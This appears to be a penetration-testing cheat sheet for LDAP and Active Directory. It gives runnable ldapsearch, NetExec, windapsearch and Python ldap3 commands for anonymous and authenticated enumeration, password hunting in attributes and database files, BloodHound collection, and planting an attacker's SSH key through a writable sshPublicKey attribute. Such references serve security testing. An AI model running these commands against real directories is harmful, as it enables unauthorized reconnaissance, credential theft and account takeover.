LDAP (Lightweight Directory Access Protocol) is used to locate entities such as organizations, users, and resources in networks. It powers Active Directory and many identity management systems.
Default Ports: 389 (LDAP), 636 (LDAPS), 3268/3269 (Global Catalog in AD)
Anonymous Access
LDAP Anonymous Bind
# Test for anonymous bind
ldapsearch -H ldap://<IP> -x
# Get naming context
ldapsearch -H ldap://<IP> -x -s base namingcontexts
# Dump everything
ldapsearch -H ldap://<IP> -x -b "<Naming_Context>"
# TLS SNI bypass (sometimes allows anonymous access)
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
Anonymous Enumeration with NetExec
# Enumerate all objects
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract username list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
What to look for in anonymous results:
sAMAccountName, userPrincipalName
memberOf for group scope
pwdLastSet temporal patterns
userAccountControl flags (disabled, smartcard required)
Authenticated Enumeration
# Basic authenticated query
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' \
-b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# Extract users
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'johnpassw' \
-b "CN=Users,DC=mydom,DC=local"
# Extract computers
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
-b "CN=Computers,DC=mydom,DC=local"
# Extract Domain Admins
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
-b "CN=Domain Admins,CN=Users,DC=mydom,DC=local"
# Extract Administrators group
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
-b "CN=Administrators,CN=Builtin,DC=mydom,DC=local"
# Search for passwords in attributes
ldapsearch <cmd> | grep -i -A2 -B2 "userpas"
Automated LDAP Dump
# ldapdomaindump
pip3 install ldapdomaindump
ldapdomaindump <IP> -u 'DOMAIN\username' -p 'password' --no-json --no-grep
# windapsearch
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --da
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --privileged-users
Python LDAP Enumeration
import ldap3
# Connect (try without credentials first)
server = ldap3.Server('x.X.x.X', get_info=ldap3.ALL, port=636, use_ssl=True)
connection = ldap3.Connection(server)
connection.bind() # True = anonymous bind allowed
print(server.info) # Shows naming context, domain name
# Search objects
connection.search(
search_base='DC=DOMAIN,DC=DOMAIN',
search_filter='(&(objectClass=*))',
search_scope='SUBTREE',
attributes='*'
)
print(connection.entries)
Write LDAP Data
If you can modify values, interesting possibilities include:
# Modify sshPublicKey attribute (if SSH reads public keys from LDAP)
connection.modify('uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', {
'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA... attacker@evil'])]
})
# If SSH reads from LDAP: ssh -i attacker_private_key USER@target
Kerberos Authentication
# ldapsearch with Kerberos (GSSAPI)
ldapsearch -Y GSSAPI -H ldap://dc.domain.com -b "DC=domain,DC=com"
# NetExec LDAP BloodHound collection
nxc ldap <IP> -u <USERNAME> -p <PASSWORD> \
--bloodhound -c All -d <DOMAIN.LOCAL> \
--dns-server <IP> --dns-tcp
Sniffing LDAP Credentials
If LDAP is used without SSL (port 389), credentials are transmitted in plaintext and can be sniffed on the network. A MitM attack can force clients to use the clear-text authentication method.
- Apache Directory Studio — Full-featured LDAP browser
- jxplorer — Graphical LDAP client
- Godap — Interactive TUI for LDAP (supports PTH, PTC, kerberos)
- Ldapx — LDAP proxy for obfuscating traffic
# If you have access to LDAP database files
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
# Feed password hashes to john (from '{SSHA}' to 'structural')
LDAP Configuration Files
/etc/ldap/ldap.conf
/etc/openldap/slapd.conf
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml